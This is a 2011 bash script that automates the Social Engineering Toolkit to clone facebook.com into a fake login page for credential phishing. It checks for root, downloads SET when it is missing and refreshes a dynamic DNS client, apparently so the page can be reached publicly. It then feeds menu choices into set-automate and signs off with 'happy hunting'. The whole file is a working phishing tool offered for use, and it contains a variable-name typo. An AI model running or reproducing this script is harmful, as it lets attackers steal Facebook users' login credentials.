#!/bin/bash
#Author Alok Yadav
clear
echo  "#####################################################"
echo  "##########facebook fake login automated #############"
echo  "####################################################"
echo  "Author:  Alok"
echo  "version 0.3"
echo  "(C)copyright  2011 ~ http://alokyadav15.wordpress.com"
echo "feedback/bugs""email me @ alokyadav15@gmail.com"
echo  "Script for creating fake facebook login page"
echo           \n"with the help of SET(social engineering toolkit)" 
echo  ""
sleep 2
# Make sure only root can run our script
if [ "$(id -u)" != "0" ]; then
   echo "This script must be run as root" 1>&2
   exit 1
fi
echo  "starting"

# Settings
setpath="/pentest/exploits/set"
set=`echo $setpath`

#Directory wizard
function directorywizard(){
cd /
cd /pentest >> /dev/null 
if [ "$?" != 0 ]
	then
		mkdir pentest 
		cd pentest 
		mkdir exploits
		cd exploits
	else 
	cd /pentest/exploits/
	pwd
	fi
	}

#not found function 
function notfound (){
echo "set is not found "
echo "please check the path of set "
echo "or you can download and install set "
echo "type yes to download  "
read ans
if [ "$ans" = "yes" ] 
then 
	directorywizard 
	echo "installing please wait .. this may take few minutes ..."
	svn co http://svn.secmaniac.com/social_engineering_toolkit set/
	cd set
	echo "please re-start the script  "
	sleep 2
	exit
else 
	echo exiting
	exit
fi
}

# auto.txt ability check

function checkautotxt (){

flie=`cat auto.txt` 
echo $file >> /dev/null
if [ -e "$file" ]
then 
	rm $file
fi
}





cd $set >> /dev/null
if [ "$?" = 0 ]
	then 
	echo "set Is present "
else
	echo "not found"
	notfound  
fi
echo refreshing ddclient  
ddclient
sleep 2

cd $setpath
sleep 2	
	checkautotxt
	echo 2 >> auto.txt
	echo 3 >> auto.txt
	echo 2 >> auto.txt
	echo http://facebook.com >> auto.txt
	echo "starting set ..." 
	cat auto.txt
	./set-automate auto.txt
	sleep 2
	rm auto.txt
	sleep 1
	echo "done!! happy hunting !!!! "
	exit 
#END

